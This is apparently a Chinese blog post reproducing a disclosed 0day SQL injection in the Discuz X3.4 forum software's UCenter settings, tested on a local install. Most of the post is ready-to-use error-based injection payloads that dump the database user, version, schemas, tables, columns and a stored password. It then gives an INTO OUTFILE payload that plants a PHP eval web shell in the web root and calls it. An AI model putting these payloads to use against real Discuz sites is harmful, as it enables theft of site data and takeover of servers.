圈子某位大佬公布的0day,拿来刷一刷,漏洞分析请移步大佬文章。
大佬链接

0x01 环境准备

1、首先去码云下载最新版本的discuz(DiscuzX 3.4 R20191201)。

1.png

2、将upaod放置到网站目录下,访问安装目录安装即可。

0x02 漏洞复现

点击站长–UCenter设置
2.png
点击最下面的提交进行抓包
3.png

判断列数

1
2
1'  order by 1   //返回正确
1' order by 2 //返回错误

查询当前用户

1
1' and updatexml(1,concat(0x7e,(SELECT user())),1)-- a

4.png

查询版本

1
1' and updatexml(1,concat(0x7e,(SELECT version())),1)-- a

5.png

查询数据库

1
2
3
4
5
6
7
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)-- a    //mysql
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),1)-- a //information_schema
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1)-- a //performance_schema
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1)),1)-- a //sys
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1)),1)-- a //test
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 5,1)),1)-- a //ultrax
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 6,1)),1)-- a //空

6.png
7.png

可以发现,共有6个库

查询数据表

这里随便找了一个库测试的,test库只有一个表。

1
2
1' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='test' limit 0,1)),1)-- a   //users
1' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='test' limit 1,1)),1)-- a //空

8.png

1
1' and updatexml(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA='mysql')),1)-- a

9.png

查询字段

1
1' and updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users')),1)-- a

10.png
这个没显示全

1
1' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1)),1)-- a     //user

11.png

1
1' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 5,1)),1)-- a  //password

12.png

爆字段值

1
1' and updatexml(1,concat(0x7e,(select password from test.users limit 1,1)),1)-- a

成功搞到密码test123
13.png

写入文件

Payload:

1
1' into outfile 'c:\\wamp64\\tmp\\1.txt'  -- a

14.png

emmmm….
The MySQL server is running with the –secure-file-priv option so it cannot execute this statement

查看一下secure-file-priv配置

1
show variables like '%secure%';

15.png

secure_file_priv的值为null,那么secure_file_priv这里都有什么设置呢

  1. secure_file_priv为null 表示不允许导入导出
  2. secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
  3. secure_file_priv没有设置时,则表示没有任何限制

修改mysql.ini文件,加入如下语句

1
secure_file_priv=''

16.png
重启mysql服务

1
1' union select '<?php eval($_GET[1])?>' into outfile 'C:\\phpstudy_pro\\WWW\\discuz\\1.php'  -- a

17.png

http://192.168.91.149/discuz/1.php?1=phpinfo();

18.png

0x03 结束

吐槽一下,手注真麻烦,还是sqlmap好玩。